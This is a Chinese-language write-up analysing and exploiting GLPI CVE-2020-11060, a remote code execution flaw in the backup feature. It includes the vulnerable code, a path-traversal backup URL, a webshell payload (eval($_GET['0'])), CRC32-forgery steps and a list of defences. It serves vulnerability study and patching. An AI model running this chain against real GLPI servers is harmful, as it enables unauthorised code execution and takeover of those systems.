CVE_2020_11060 EXP优化
字数 1456 2025-08-10 08:28:32
GLPI CVE-2020-11060 漏洞分析与利用教学文档
1. 漏洞概述
1.1 受影响系统
- GLPI版本:0.85-9.4.5
- 漏洞类型:远程代码执行(RCE)
- 影响范围:拥有维护特权和添加WIFI网络权限的账户
1.2 漏洞位置
front/backup.php文件中的备份功能存在安全缺陷,允许攻击者通过构造恶意请求实现任意文件写入和远程代码执行。
2. 漏洞原理分析
2.1 漏洞点
漏洞主要存在于以下参数处理中:
$_GET['dump']:控制SQL备份功能$_GET['fichier']:设置导出文件名(未过滤)$_GET['offsettable']:控制导出的数据表起始位置
2.2 关键代码分析
if (isset($_GET["dump"]) && $_GET["dump"] != "") {
if (!isset($_GET["fichier"])) {
$fichier = $filename;
} else {
$fichier = $_GET["fichier"]; // 未过滤的文件名参数
}
// ...
backupMySql($DB, $fichier, $duree, $rowlimit); // 调用备份函数
}
function backupMySql($DB, $dumpFile, $duree, $rowlimit) {
// 使用gzopen以追加模式打开文件
if (function_exists('gzopen')) {
$fileHandle = gzopen($dumpFile, "a"); // 关键点:使用"a"模式
} else {
$fileHandle = gzopen64($dumpFile, "a");
}
// ...
}
3. 漏洞利用技术
3.1 利用思路
- 通过
fichier参数控制写入文件路径和名称(如../shell.php) - 利用GZIP文件格式特性分两次写入:
- 第一次写入:构造GZIP文件尾,包含PHP短标签
<?=/* - 第二次写入:构造不压缩块,包含WebShell代码
*/eval($_GET['0']);/*
- 第一次写入:构造GZIP文件尾,包含PHP短标签
3.2 GZIP文件格式利用
3.2.1 GZIP文件结构
+-------------------+
| head |
+-------------------+
| data | <=== BFINAL + BTYPE + DATA
+-------------------+
| tail | <=== CRC32(4字节) + ISIZE(4字节)
+-------------------+
3.2.2 CRC32伪造
使用特定方法修改文件内容,使CRC32值变为<?=/(ASCII: 3c3f3d2f):
- 构造长度最后一个字节为0x2a('*')的备份结果
- 使用CRC伪造工具修改comment字段,使其CRC变为目标值
- 确保结果为全可见字符
3.2.3 不压缩块构造
DEFLATE压缩有三种块类型:
- 00:未压缩
- 01:固定Huffman编码压缩
- 10:动态Huffman编码压缩
- 11:保留
通过填充特定字符,构造不被压缩的块(类型00),包含WebShell代码。
3.3 完整利用流程
- 备份所有数据并删除记录(可选)
- 新增一条
glpi_wifinetworks表记录 - 修改记录内容,获取原始
date_mod时间 - 设置备份结果内的
date_mod为原始时间+1分钟 - 在延迟时间内使用CRC伪造工具生成特定数据
- 修改记录内容为伪造数据并备份
- 修改记录内容为不压缩块数据并追加备份到同一文件
- 访问生成的WebShell文件
4. 漏洞复现步骤
4.1 环境搭建
- 安装Apache2 + PHP环境
- 下载GLPI源码:
git clone https://github.com/glpi-project/glpi.git - 将文件夹放到
/var/www/html目录 - 访问
localhost/install/install.php完成安装
4.2 利用过程
- 访问以下URL进行第一次备份:
/front/backup.php?fichier=../test1.php&dump=1&offsettable=312 - 使用CRC伪造工具生成特定comment字段内容
- 更新
glpi_wifinetworks表的记录:UPDATE glpi_wifinetworks SET comment='j~a6aaaaaaaa...' WHERE id=8; - 再次访问备份URL写入伪造的CRC
- 更新记录为不压缩块内容并再次备份
- 访问生成的WebShell文件执行命令
5. 防御措施
- 升级到GLPI最新版本
- 对
fichier参数进行严格过滤,限制文件路径和扩展名 - 修改备份功能,不使用追加模式("a")打开文件
- 限制备份文件的存放目录
- 对备份文件内容进行检查,防止包含恶意代码
6. 参考资源
7. 总结
该漏洞利用GLPI备份功能中的多个缺陷,结合GZIP文件格式特性,实现了远程代码执行。相比原始发现者的爆破方法,本文介绍的利用技术更加精确和高效,通过分两次写入和CRC伪造实现了可靠的利用。防御此类漏洞需要从输入验证、文件操作和安全编码多方面入手。